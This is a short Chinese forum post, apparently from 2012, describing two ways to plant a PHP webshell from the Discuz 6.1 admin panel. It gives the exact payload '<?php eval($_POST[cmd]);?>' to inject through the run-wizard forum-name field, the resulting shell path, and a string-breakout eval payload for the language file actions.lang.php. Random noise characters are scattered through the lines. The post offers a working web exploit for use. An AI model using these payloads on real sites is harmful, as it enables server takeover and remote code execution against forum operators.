discuz6.1两种方法后台拿shell/ H2 Z. C2 [! h! [" B
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下9 \$ Y7 G& Z, f# a' m2 G1 c
1:1 g0 P: I) e- h( Z e2 y/ ]5 I
http://127.0.0.1/discuz/admincp. ... zard&frames=yes3 T" `" ]; \. c/ H1 {# \+ j
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell9 J# N; T& c4 H
<?php eval($_POST[cmd]);?>0 y- d: `2 F' u' H
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
; p+ S8 |1 L& }5 V3 a
P! Z# T ?5 j2 u3 q% B
6 b; L9 \: G7 X+ [% r! a2:后台模板管理--默认模板套系--详情
. h2 C D( x5 Ftemplates/default/actions.lang.php
2 A* u% O: h: Y8 Y/ O/ L& ijhackj\\');eval($_POST[cmd])?>;//
& }+ U3 E' g5 V
% O M- ^* J9 V7 k" b7 y% {利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对